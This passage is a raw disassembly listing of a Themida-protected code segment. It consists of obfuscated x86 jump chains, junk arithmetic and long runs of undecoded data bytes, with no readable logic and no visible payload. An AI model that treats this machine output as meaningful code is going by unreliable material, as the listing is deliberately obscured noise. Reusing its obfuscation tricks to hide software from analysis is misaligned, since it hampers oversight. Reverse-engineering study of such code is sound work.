19D71201h, 0D9EFE95Ah, 66580000h, 83240C8Bh dd 0EB8002C4h, 6EB8072h, 0C380C300h, 72C38006h, 76E95166h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636EB: ; CODE XREF: Themida_:0056CD86j pop eax not eax sub eax, 80586369h push 5FA6h mov [esp], eax sub dword ptr [esp], 649C1BE4h pop edx add edx, 649C1BE4h pop eax shr edx, 7 neg edx neg edx jmp loc_569A24 ; --------------------------------------------------------------------------- loc_563716: ; CODE XREF: Themida_:0055F03Aj mov [esp], eax mov eax, 76BC4403h jmp loc_56C7AA ; --------------------------------------------------------------------------- loc_563723: ; CODE XREF: Themida_:0056B0F5j xchg edx, [esp] pop esp mov [esp], eax mov eax, 5AAD39D8h jmp loc_56A9BE ; --------------------------------------------------------------------------- dd 0B13C02BFh, 0E9FE8966h, 0AC82h ; --------------------------------------------------------------------------- loc_563740: ; CODE XREF: Themida_:0056B3ACj pop edx add ebx, 690635EBh jmp loc_5614DD ; --------------------------------------------------------------------------- a3Sv db '3<$Иvк',0 align 4 dd 0B604A005h, 2DD0291Eh, 1EB604A0h, 8324148Bh, 835E04C4h dd 48904ECh, 2474FF24h, 48F5804h, 24248B24h, 240C8B66h dd 0FFBD8CE9h db 0FFh ; --------------------------------------------------------------------------- loc_563781: ; CODE XREF: Themida_:00560376j add eax, 73140975h push dword ptr [esp] pop edi jmp loc_55F638 ; --------------------------------------------------------------------------- db 58h dd 8158C289h, 0E7461EFh, 81D7016Dh, 0E7461C7h, 24148B6Dh dd 14E95450h, 81000081h, 4C4h, 4EC8300h, 89241C89h, 4C381E3h dd 83000000h, 1C8704C3h, 0CB31E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5637CA: ; CODE XREF: Themida_:00565A72j add esp, 4 mov eax, [esp] jmp loc_5668B9 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0C2810000h, 4, 53555250h, 2BBh, 5BDD8900h, 895DEA89h dd 0C6EBE9D0h, 505A0000h, 20D4AB8h, 0E9D8F73Fh, 2438h ; --------------------------------------------------------------------------- loc_563808: ; CODE XREF: Themida_:005666AEj pop ecx push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] pop esp xor ecx, 3D8F2830h jmp loc_56B9CD ; --------------------------------------------------------------------------- db 80h, 0E2h, 71h dd 80AEE280h, 93E91BEAh db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_563837: ; CODE XREF: Themida_:00567D4Ej sub edx, ecx pop ecx add edx, 18D9761Eh push ebp mov ebp, edx mov edi, ebp pop ebp mov edx, [esp] add esp, 4 jmp loc_5697C7 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 0BA52575Bh, 4, 15AD789h, 56555FFBh, 0D06AA3BEh, 0DB3CBD0Ah dd 0F50156A2h, 0E924348Bh, 2796h, 96C2815Bh, 51454A33h dd 1A7D14B9h, 0C9F18152h, 0F70D0101h, 46C181D9h, 815DE247h dd 4D8369C1h, 59CA0152h, 0EA81C229h, 51144DD2h, 3396BE56h dd 0F229454Ah, 2C5C685Eh, 4890000h, 57CC6824h, 2AE90000h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5638C3: ; CODE XREF: Themida_:0055FBD3j sub esi, edx mov edx, [esp] jmp loc_55DCD8 ; --------------------------------------------------------------------------- loc_5638CD: ; CODE XREF: Themida_:00571E21j pop esi add edx, 4 jmp loc_569F1E ; --------------------------------------------------------------------------- loc_5638D9: ; CODE XREF: Themida_:005697B8j pop edx push ecx mov ecx, 11444B99h inc ecx xor ecx, 66A82386h sub ecx, 74B78FECh sub edx, ecx pop ecx jmp loc_56B3AA ; --------------------------------------------------------------------------- loc_5638F5: ; CODE XREF: Themida_:00566393j add esi, 5C76DE0Ch sub eax, esi pop esi push 7F2Dh mov [esp], esi mov esi, 2B3754C0h jmp loc_5694C7 ; --------------------------------------------------------------------------- loc_563910: ; CODE XREF: Themida_:0056E07Bj add ebx, 4 jmp loc_56DD8E ; --------------------------------------------------------------------------- db 59h dd 68E1CD81h, 68E92725h, 81FFFFC8h, 4C4h, 24048F00h, 0FFCA98E9h dd 6022DFFh, 5F5D5B3Ah, 5C240487h, 2896664h, 0FF99A4E9h dd 4C483FFh, 5C24048Fh, 0B60DE9h db 0 ; --------------------------------------------------------------------------- loc_563955: ; CODE XREF: Themida_:0056281Fj mov esi, 28634141h add esi, 749142F9h add esi, 740A3D67h or esi, 50863B43h add esi, 3EAB75C6h sub esi, 65FE3B31h jmp loc_56149A ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd offset dword_49005C+2338Dh db 0 ; --------------------------------------------------------------------------- loc_563985: ; CODE XREF: Themida_:00563CE2j mov esi, 4 jmp loc_563FE7 ; --------------------------------------------------------------------------- loc_56398F: ; CODE XREF: Themida_:00560BACj push dword ptr [esp] pop ebp add esp, 4 and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 0Ah push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_564740 ; --------------------------------------------------------------------------- dd 1C50BB53h, 0B2E9437Fh, 810000EEh, 980646C6h, 4EEC142h dd 46DBEE81h, 0F101C844h, 868FE95Eh, 0D8010000h, 4055Bh dd 4870000h, 0BE565C24h, 44F36653h, 0FFE3FBE9h, 2404FFFFh dd 98F7E99Ch, 1368FFFFh, 89000013h, 2B9240Ch, 81000000h dd 697286EFh, 55CF0168h, 0EC7E63BDh, 5031E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563A16: ; CODE XREF: Themida_:0057016Bj xor dword ptr [esp], 7FA42124h pop esi push 5E69h mov [esp], edi mov edi, 4345631Fh push ebp mov ebp, 0FFFFFFFFh add edi, ebp pop ebp shr edi, 8 push eax mov eax, 73F14C8Ah shl eax, 4 neg eax or eax, 59BD5E0Bh add eax, 3117932Fh jmp loc_565782 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 0CE16E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A5A: ; CODE XREF: Themida_:00566FAEj not esi and esi, 5CE82B96h jmp loc_56E54D ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 56000000h, 56D1E9h, 7E1C000h, 0DAF6D186h dd 0C1FED186h, 0E936C180h, 92BAh, 1BDAE948h, 0E9510000h dd 3DC5h, 8904EC83h, 148B240Ch, 4C48324h, 0C7C28159h, 1246027h dd 0C7EA81DAh, 88246027h, 6BE95A02h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563AB7: ; CODE XREF: Themida_:0056A279j xchg ebp, [esp] mov esp, [esp] jmp loc_56536C ; --------------------------------------------------------------------------- loc_563AC2: ; CODE XREF: Themida_:0056C92Bj pop edx xchg ebp, [esp] pop esp movzx eax, al push dword ptr [edi+eax*4] jmp loc_55D2ED ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 241C8904h, 0B8505B54h, 9D16243h, 4005D0F7h dd 0C12F1557h, 0BD5502E8h, 669F4A4Ah, 7976ED81h, 0B9515A53h dd 3F8F2562h, 0FFA709E9h db 0FFh ; --------------------------------------------------------------------------- loc_563B05: ; CODE XREF: Themida_:005726F0j mov ebp, 4 add eax, ebp jmp loc_56BDE0 ; --------------------------------------------------------------------------- loc_563B11: ; CODE XREF: Themida_:00570B45j push edx mov edx, 1 sub ebx, 0EBB28DDh sub ebx, edx add ebx, 0EBB28DDh mov edx, [esp] add esp, 4 push ebp jmp loc_562D52 ; --------------------------------------------------------------------------- loc_563B34: ; CODE XREF: Themida_:00566FF3j pop esi inc ebx not ebx or ebx, 344138E7h jmp loc_571190 ; --------------------------------------------------------------------------- db 0F7h dd 0E9DFF7D7h, 12BCh, 0E9243C89h, 0FFFFE00Dh ; --------------------------------------------------------------------------- loc_563B54: ; CODE XREF: Themida_:0056F481j add edx, ecx pop ecx jmp loc_564717 ; --------------------------------------------------------------------------- loc_563B5C: ; CODE XREF: Themida_:0056908Aj mov [esp], edx push 4F5h mov [esp], edi jmp loc_569FAE ; --------------------------------------------------------------------------- loc_563B6C: ; CODE XREF: Themida_:00560A66j add ebp, eax pop eax add edi, 67D00A6Fh add edi, 767379FDh push ebp mov ebp, 74BB6FC9h add edi, ebp pop ebp add edi, 6CCD67D7h add edi, ebp sub edi, 6CCD67D7h push ebp jmp loc_564687 ; --------------------------------------------------------------------------- loc_563B98: ; CODE XREF: Themida_:0055F026j mov [esp], eax push edi mov edi, 24h mov eax, edi mov edi, [esp] add esp, 4 jmp loc_55DF8A ; --------------------------------------------------------------------------- loc_563BB1: ; CODE XREF: Themida_:0055DA2Fj pop edx shl ebx, 4 inc ebx push edi mov edi, 31EE2A5Ch and ebx, edi pop edi jmp loc_564260 ; --------------------------------------------------------------------------- a1434Sbu db '14$34$И│U',0 dw 5100h dd 0C181E189h, 4, 8704E983h, 895C240Ch, 6BB5240Ch, 8054ED80h dd 0EDC0F0EDh, 1AE95204h db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563BF3: ; CODE XREF: Themida_:00571EBDj add esp, 4 and ecx, edi mov edi, [esp] push ebx push esp pop ebx push ecx mov ecx, 13418B1h neg ecx xor ecx, 0FECBE74Bh add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] mov esp, [esp] shr ecx, 2 jmp loc_56D6CE ; --------------------------------------------------------------------------- aSsrg db 'SИrg',0 dd 0DCF65A00h, 95EC80h, 0B5E958E6h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C37: ; CODE XREF: Themida_:005650F2j add esp, 4 pop ecx loc_563C3B: ; CODE XREF: Themida_:0055D33Aj push ebx jmp loc_562B67 ; --------------------------------------------------------------------------- db 52h, 0B6h, 0E7h dd 0E95AF588h, 2155h, 0F8E1E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C52: ; CODE XREF: Themida_:00562E7Ej push 2879h mov [esp], edi push edx jmp loc_55DD60 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 1CD35966h, 93E99C24h, 81000006h, 0A314B7EDh dd 9544E928h, 8B660000h, 7D682404h, 89000077h, 0C8E92404h dd 57000006h, 0CDD6E9h, 0C4815800h, 4, 20AA68h, 240C8900h dd 7F43E9h db 0 ; --------------------------------------------------------------------------- loc_563CA5: ; CODE XREF: Themida_:005688D7j push ebx push ebx mov ebx, 0FFFFFFFFh sub [esp+4], ebx pop ebx jmp loc_56AFCD ; --------------------------------------------------------------------------- dw 0F581h aNuTsN db 'nН\TИ(█',0 db 0 ; --------------------------------------------------------------------------- loc_563CC1: ; CODE XREF: Themida_:0056BA3Ej push dword ptr [esp] mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edi mov edi, esp push 53A1h mov [esp], esi jmp loc_563985 ; --------------------------------------------------------------------------- db 5Bh dd 5C240C87h, 56242489h, 407C29BEh, 55C68156h, 816E7F57h dd 0C9F9EBF6h, 0D4BD55C3h, 9278D5Dh, 0CE815DEEh, 13EE49FDh dd 8102E6C1h, 0BA0BA6C6h, 1C68140h, 81000000h, 0B80B9FF6h dd 24448120h, 112DCA04h, 24740170h, 246C8104h, 112DCA04h dd 81595E70h, 4C1h, 22D7E900h, 0C2810000h, 65A13E35h, 0EA81CA01h dd 65A13E35h, 83240C8Bh, 0FF5204C4h, 5A042474h, 5C24048Fh dd 243CD366h, 3BBDE99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_563D6E: ; CODE XREF: Themida_:005665EFj push dword ptr [eax] jmp loc_55D2ED ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4C7h, 602DE900h, 0E1680000h, 89000043h, 0A9B7241Ch dd 0EF80D7F6h, 3EFC0B0h, 1FE9CFFEh, 8900006Eh, 9C502414h dd 0FF9548E9h db 0FFh ; --------------------------------------------------------------------------- loc_563DA5: ; CODE XREF: Themida_:0056F01Aj xor ebx, ebp pop ebp push edi push eax push edi mov edi, 661E4DE1h mov eax, edi pop edi push ecx mov ecx, 0FBE9C2FFh mov edi, ecx pop ecx add edi, eax jmp loc_565B86 ; --------------------------------------------------------------------------- loc_563DC3: ; CODE XREF: Themida_:00566B73j mov eax, [esp] add esp, 4 jmp loc_572708 ; --------------------------------------------------------------------------- db 81h, 0C5h, 47h dd 1926501h, 38055DE8h, 0E9C6C9C7h, 0AA69h, 0E904C483h dd 3F70h, 0BA5DE889h, 539721EFh, 0F7C28142h, 31F6873Ch dd 24048BC2h, 7B04E9h, 0AB0F6600h, 0E99C2404h, 0D697h dd 0FA9E581h, 0EDC11D4Bh, 0FBC58108h, 89FFF7F7h, 0F0895DEEh dd 56C9E95Eh, 0F7660000h, 0FD3166D7h, 66EF3166h, 3166FD31h dd 0CD3166E9h, 0FFE114E9h, 0B60F66FFh, 0B630E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E4A: ; CODE XREF: Themida_:0055E1F8j pop eax pop eax sub eax, 0D040F6Bh jmp loc_561CC6 ; --------------------------------------------------------------------------- dw 8159h dd 4C4h, 948BE900h, 58BEFFFFh, 21060D58h, 24348BF2h, 4C481h dd 0E2810000h, 18066FDCh, 0BFBE5653h, 0E9136E5Bh, 0FFFFD7DDh dd 10E9E089h, 0BE0000D6h, 1FEC42DCh, 0C1D6F74Eh, 9EE906E6h dd 0BF000090h, 621AE00Ch, 39F1E9h, 4EC8100h, 0E9000000h dd 9514h, 54240489h, 4EC8358h, 0FFE510E9h db 0FFh ; --------------------------------------------------------------------------- loc_563EBD: ; CODE XREF: Themida_:0056A610j push 4 pop esi sub eax, esi mov esi, [esp] push edi jmp loc_56E15F ; --------------------------------------------------------------------------- dw 166h dd 4EC81F0h, 89000000h, 0BF66243Ch, 81662834h, 0E9E872EFh dd 0FFFFB352h, 8924248Bh, 94B22414h, 81B4EA80h, 2ECh, 0C896600h dd 9586E924h, 0C4830000h, 576F6804h, 14890000h, 6F346824h dd 13E90000h, 1FFFFC8h, 2BED81DDh, 8B3D7D5Fh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 0D5945D6h not ecx and ecx, 7C7C780Eh add ecx, 5F496DE9h push edi mov edi, 5027289Ah jmp loc_55D86F ; --------------------------------------------------------------------------- dd 8647C781h, 0F989F2EFh, 98E9815Fh, 8121AB0Ch, 496AFBE1h dd 6E1C139h, 18B6E181h, 0F18126EAh, 7E941CCDh, 8B59CD01h dd 5451243Ch, 4C18159h, 81000000h, 4C1h, 240C8700h, 5DB7E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_563F86: ; CODE XREF: Themida_:005725E3j sub edi, ebp jmp loc_564925 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 592434FFh, 0FFB464E9h, 5A5952FFh, 0E959C829h, 3C39h dd 0FF9344E9h db 0FFh ; --------------------------------------------------------------------------- loc_563FA9: ; CODE XREF: Themida_:005617F8j sub eax, 26FB71B6h jmp loc_566618 ; --------------------------------------------------------------------------- db 66h dd 8124148Bh, 2C4h, 5FF78000h, 34FFF800h, 0E015E924h, 0E952FFFFh dd 0FFFFCBFCh, 0DCF64AB4h, 0EC80CCFEh, 58E530FDh, 2444FE51h dd 0E3E95901h db 0D3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563FE7: ; CODE XREF: Themida_:0056398Aj add edi, esi pop esi jmp loc_5722A3 ; --------------------------------------------------------------------------- db 83h dd 0C68104C4h, 4, 4C681h, 34870000h, 0E6E95C24h, 51FFFF92h dd 320F44B9h, 6C98140h, 0C16F1961h, 7AE906E1h, 810000D7h dd 9A52C1EAh, 4AE95671h, 29FFFFA5h, 0C38158C3h, 55327C4Eh dd 0A4B4E9h db 0 ; --------------------------------------------------------------------------- loc_564035: ; CODE XREF: Themida_:0055D319j pop ebx mov dl, ch pop ecx sub dl, 0FFh sub dl, 0F2h dec dl jmp loc_572523 ; --------------------------------------------------------------------------- loc_564046: ; CODE XREF: Themida_:00571B3Cj add ecx, 27FD58A4h inc ecx jmp loc_56F47B ; --------------------------------------------------------------------------- loc_564052: ; CODE XREF: Themida_:0057266Fj pop eax sub esp, 4 mov [esp], esi push dword ptr [esp+4] jmp loc_568977 ; --------------------------------------------------------------------------- loc_564065: ; CODE XREF: Themida_:005714C1j pop esp retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF9281h, 8B240C87h, 0FF532424h, 5B042474h, 8B24048Fh dd 0C8B2424h, 0D56CE924h, 0FA680000h, 89000043h, 0BD552414h dd 32E320E7h, 8106EDC1h, 0E12170CDh, 0FC14E919h, 0EB31FFFFh dd 0C908E9h, 1C77FF00h, 419589Dh, 36E99C24h, 81FFFF92h dd 4ECh, 24348900h, 1A5F04BEh, 0CEC6813Bh, 0E918F61Bh dd 4F2h, 6896BB53h, 0D8015AE7h, 83241C8Bh, 0D00104C4h dd 4EC81h, 3C890000h, 68966824h, 295F5AE7h, 243C8BF8h dd 0FFCEFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5640F9: ; CODE XREF: Themida_:0056B79Dj mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add edx, 13B84D04h sub edx, ebx sub edx, 13B84D04h xor ebx, edx xor edx, ebx xor ebx, edx mov edx, [esp] add esp, 4 jmp loc_568A53 ; --------------------------------------------------------------------------- db 8Bh dd 0BAE92424h, 87FFFF91h, 0C15C241Ch, 0F18105E1h, 9F98A36Ch dd 628FE9h db 0 ; --------------------------------------------------------------------------- loc_564145: ; CODE XREF: Themida_:0055DF08j pop ecx push 372Ah mov [esp], edx jmp loc_56BDAD ; --------------------------------------------------------------------------- loc_564153: ; CODE XREF: Themida_:0056348Bj sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], esi mov esi, 19F12CADh add esi, 0F3239E6h push 4460h mov [esp], ebp jmp loc_55F008 ; --------------------------------------------------------------------------- loc_56417D: ; CODE XREF: Themida_:00568B9Bj or ebx, ebx jnz loc_5677C1 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 4378h jmp loc_5702BC ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFC92Fh ; --------------------------------------------------------------------------- loc_5641A8: ; CODE XREF: Themida_:00569E4Fj push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov edi, [esp] add esp, 4 jmp loc_567840 ; --------------------------------------------------------------------------- loc_5641D7: ; CODE XREF: Themida_:0056BC5Fj xor edx, 722A7254h add ebp, edx jmp loc_569377 ; --------------------------------------------------------------------------- dd 0E958C601h, 8614h, 39A4E181h, 0E9C17D07h, 0C3AEE903h dd 0A8BE0000h, 811B2F48h, 4A2CC0EEh, 0BEC9E95Eh, 0C7810000h dd 4, 5C243C87h, 8B24048Fh, 0BE0F2424h, 4EC81C8h, 89000000h dd 0FF54243Ch, 835F2434h, 0C78104C4h, 4, 1BE95457h, 0F70000D7h dd 0EC96E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564242: ; CODE XREF: Themida_:005694EEj mov ebx, esi pop esi sub ebx, esi jmp loc_567C8A ; --------------------------------------------------------------------------- loc_56424C: ; CODE XREF: Themida_:0056AB54j pop ebp and esi, 62AC7279h jmp loc_5716C7 ; --------------------------------------------------------------------------- aZSme db '┤,$И▄╔',0 align 10h loc_564260: ; CODE XREF: Themida_:00563BBFj xor ebx, 70B869C4h jmp loc_56C746 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4BA5200h, 0E9000000h, 5886h, 241C335Eh, 0E9241C31h dd 898Eh ; --------------------------------------------------------------------------- loc_564288: ; CODE XREF: Themida_:0055E56Cj mov eax, esp push edi mov edi, 55EB5C9Dh add edi, 627C5CDFh add edi, 47984688h add eax, edi pop edi add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_566CB5 ; --------------------------------------------------------------------------- loc_5642AF: ; CODE XREF: Themida_:005652B6j shl ebp, 6 not ebp sub ebp, 12D066C6h push ecx mov ecx, 985EB0BDh xor ebp, ecx pop ecx jmp loc_564628 ; --------------------------------------------------------------------------- dd 815EF329h, 4ECh, 24348900h, 0FFBFF1E9h, 4138BBFFh, 77E90C89h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5642E3: ; CODE XREF: Themida_:0056CB51j add ecx, edi pop edi xchg ecx, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push eax push esp push dword ptr [esp] pop eax jmp loc_56E988 ; --------------------------------------------------------------------------- dw 0E6E9h dd 87FFFF8Fh, 248B241Ch, 243C8924h, 0E0268h, 0F1EDE900h dd 8159FFFFh, 2A051CF2h, 0CED5E960h, 0C381FFFFh, 4, 4C381h dd 1C870000h, 34FF5C24h, 24048B24h, 888EE950h, 0E95E0000h dd 0FFFFDFC0h, 8B240C87h, 83E92424h, 8900006Fh, 4EC83E0h dd 0FFCD55E9h db 0FFh ; --------------------------------------------------------------------------- loc_56435D: ; CODE XREF: Themida_:005606E9j xor eax, edx push ebx push 28EEh mov [esp], esi push 5039784Dh pop esi push eax mov eax, 42682717h push ebp mov ebp, 46707959h xor ebp, 46CE0CE6h jmp loc_560066 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0CF010000h, 243C8759h, 8324248Bh, 2C8904ECh, 3411BD24h dd 0D1E90248h, 66000069h, 6606E1C1h, 62E9D9F7h, 5300008Bh dd 8361A8BBh, 9CF38163h, 811EF24Fh, 96736AE3h, 6B7CE943h dd 805B0000h, 0ED80A6EDh, 0E9EE8803h, 0D812h, 0BEB536B0h dd 6658C530h, 244C8651h, 86D1F601h, 0E901244Ch, 0FFFFB97Eh dd 0EEBAE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643F2: ; CODE XREF: Themida_:00568796j pop edi xchg ebx, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp+4] jmp loc_56665B ; --------------------------------------------------------------------------- db 52h, 0E9h, 0CCh db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_56440B: ; CODE XREF: Themida_:005663BBj push ebx mov ebx, 3EED3E6Ah sub ebx, 63963107h jmp loc_56C442 ; --------------------------------------------------------------------------- dd 8759CA29h, 0F1E92414h, 5FFFFF9Ch, 8C1FE9h db 0 ; --------------------------------------------------------------------------- loc_56442D: ; CODE XREF: Themida_:005636BBj push ebp push 183167D3h pop ebp not ebp not ebp push edi mov edi, 60863723h not edi jmp loc_55E518 ; --------------------------------------------------------------------------- loc_564445: ; CODE XREF: Themida_:0057007Cj add eax, 4 sub eax, 4 jmp loc_56CBAD ; --------------------------------------------------------------------------- loc_564454: ; CODE XREF: Themida_:0055D94Bj sub eax, ecx jmp loc_56C8C6 ; --------------------------------------------------------------------------- db 0B7h dd 80CFFE6Fh, 0DFF6A4E7h, 80C1EF80h, 0FC006DC4h, 5B6DEC80h dd 0B21EF480h, 0E9E228ABh, 0FFFF9146h, 268h, 0B9515900h dd 7BB7698Ah, 6ADCE981h, 0F1813D64h, 212223B2h, 0F705E1C1h dd 8DE955D9h, 57000069h, 584AE9h, 24248B00h, 0FFECE4E9h dd 46C0BBFFh, 0DF89764Fh, 448E9h, 5AD32900h, 0D102E3C1h dd 0B4E381EBh, 5105B710h, 0FFB6D7E9h, 240C8BFFh, 5604C483h dd 1544ABEh, 0B951525Dh, 7E5827B1h, 0D9F7D1F7h, 0F181D1F7h dd 0DCA68C03h, 3159CA89h, 0B76DE9D6h, 0D4880000h, 0E996B35Ah dd 0FFFF9450h ; --------------------------------------------------------------------------- loc_564500: ; CODE XREF: Themida_:0056D8F0j mov eax, 61BA244Dh shl eax, 6 jmp loc_55F87E ; --------------------------------------------------------------------------- db 0B9h, 67h, 5Dh dd 0E1813F3Eh, 67ED3A4Ah, 3BE5BF57h, 0D8E95586h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564523: ; CODE XREF: Themida_:0056661Aj add eax, 26FB71B6h jmp loc_568608 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aS_7 db '$И╣╪',0 align 2 push ebp mov ebp, esp jmp loc_55E22F ; --------------------------------------------------------------------------- dw 8B66h dd 0A868240Ch, 0E900002Ah, 2F85h, 89C38953h, 0BE7FE9DFh dd 0C101FFFFh, 0E9565058h, 9818h, 240C8B66h, 0FFB22AE9h db 0FFh ; --------------------------------------------------------------------------- loc_564569: ; CODE XREF: Themida_:0056BF21j mov ebp, 58127D42h add ecx, ebp jmp loc_56B0D0 ; --------------------------------------------------------------------------- loc_564575: ; CODE XREF: Themida_:0056FBB8j sub ebx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push edx jmp loc_569939 ; --------------------------------------------------------------------------- dd 4C781h, 0EF810000h, 4, 5C243C87h, 0BB241C89h, 42AB6C9Fh dd 606AEA81h, 0ECE93D6Dh db 0E2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5645AF: ; CODE XREF: Themida_:0056315Aj add ebp, esi pop esi mov edx, ebp mov ebp, [esp] add esp, 4 jmp loc_56D921 ; --------------------------------------------------------------------------- dw 0C681h dd 0D5EB9FFBh, 2F3FE9h db 0 ; --------------------------------------------------------------------------- loc_5645CD: ; CODE XREF: Themida_:0056EA1Aj push dword ptr [edi+1Ch] jmp loc_56A13D ; --------------------------------------------------------------------------- db 5Bh, 2Ch, 0D2h dd 8B66542Ch, 5451240Ch, 81240C8Bh, 4C4h, 4C18100h, 81000000h dd 2C1h, 240C8700h, 79CCE9h db 0 ; --------------------------------------------------------------------------- loc_5645FD: ; CODE XREF: Themida_:00562ECAj add edx, 4 xchg edx, [esp] pop esp sub ebx, ebp add ebx, 3D7013A3h mov ebp, [esp] add esp, 4 jmp loc_56A43D ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 0E9000000h, 0FFFFB9F4h ; --------------------------------------------------------------------------- loc_564628: ; CODE XREF: Themida_:005642C3j sub edx, 0D3F3318h add edx, ebp push ebx mov ebx, 0D3F3318h add edx, ebx pop ebx pop ebp jmp loc_5635EC ; --------------------------------------------------------------------------- db 0F7h dd 7E6C1DEh, 2E6DBB53h, 48E96947h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56464F: ; CODE XREF: Themida_:0056D4F7j mov [esp], ebp mov ebp, 1F2822F2h and ebp, 62CE5D59h push ebp jmp loc_565A11 ; --------------------------------------------------------------------------- db 1 dd 240C8BCFh, 4C481h, 0BD550000h, 8A3B45AAh, 0FFEF62E9h db 0FFh ; --------------------------------------------------------------------------- loc_564679: ; CODE XREF: Themida_:0055FBE4j sub esi, 0F47DDE54h and eax, esi pop esi jmp loc_571F7D ; --------------------------------------------------------------------------- loc_564687: ; CODE XREF: Themida_:00563B93j push eax jmp loc_561EF2 ; --------------------------------------------------------------------------- db 81h, 0EDh, 5Dh dd 0E932AC74h, 0FFFFE097h, 0E3E685Ch, 0C1E90000h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5646A3: ; CODE XREF: Themida_:0056EA50j push eax jmp loc_5622F8 ; --------------------------------------------------------------------------- db 53h, 0BBh, 0 dd 29000000h, 5BDA89D3h, 5056DAF7h, 62136068h, 873E954h dd 4890000h, 0F7BAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5646CA: ; CODE XREF: Themida_:0056F42Cj push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_567F33 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 31241C33h, 1C33241Ch, 34FF5C24h, 240C8B24h dd 81E28952h, 4C2h, 9A17E900h, 34FF0000h, 243C8B24h, 11DFE9h dd 223F0500h, 7E93D50h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_564717: ; CODE XREF: Themida_:00563B57j and edx, 95341ADh sub edx, 4D0672F4h push ebp mov ebp, 5F7A5CFFh jmp loc_562DCA ; --------------------------------------------------------------------------- aTs5 db 'пБИа5',0 dd 223F2D00h, 0E95D3D50h, 0FFFFB73Fh ; --------------------------------------------------------------------------- loc_564740: ; CODE XREF: Themida_:005639AFj xchg eax, [esp] pop esp mov [esp], ebx push dword ptr [esp] jmp loc_55E38A ; --------------------------------------------------------------------------- db 81h dd 940BA6CAh, 0B3EA816Fh, 8145EE12h, 0F179CFC2h, 53C28101h dd 0E956013Eh, 1B2Ah ; --------------------------------------------------------------------------- loc_56476C: ; CODE XREF: Themida_:0056D220j push dword ptr [esp] pop edx jmp loc_561CE8 ; --------------------------------------------------------------------------- db 1, 0EAh, 8Bh dd 0C483242Ch, 24143304h, 33241431h, 0FF5C2414h, 34FF2434h dd 0A4E95924h, 0F7000009h, 0A727E9DBh, 14330000h, 24143124h dd 5C241433h, 9C240CD2h, 0FF8B40E9h db 0FFh ; --------------------------------------------------------------------------- loc_5647AD: ; CODE XREF: Themida_:0056F2B6j sub esp, 4 mov [esp], ecx mov ecx, 0 add ecx, edx push edx mov edx, 0 add edx, ecx mov eax, [edx] pop edx jmp loc_569407 ; --------------------------------------------------------------------------- dw 4F68h dd 5F182D05h, 8107E7C1h, 3E54CDEFh, 0D4EF8125h, 89D3031Bh dd 3CE95FF9h, 89000069h, 0E2892414h, 7CD4E9h, 205E6800h dd 0C5E90F88h, 81FFFFE9h, 4C6h, 24348700h, 8124248Bh, 4ECh dd 242C8900h, 63F268h, 48F5400h, 24048124h, 4, 0FFB8A2E9h dd 2434FFFFh, 582434FFh, 555768h, 0DDDAE900h db 2 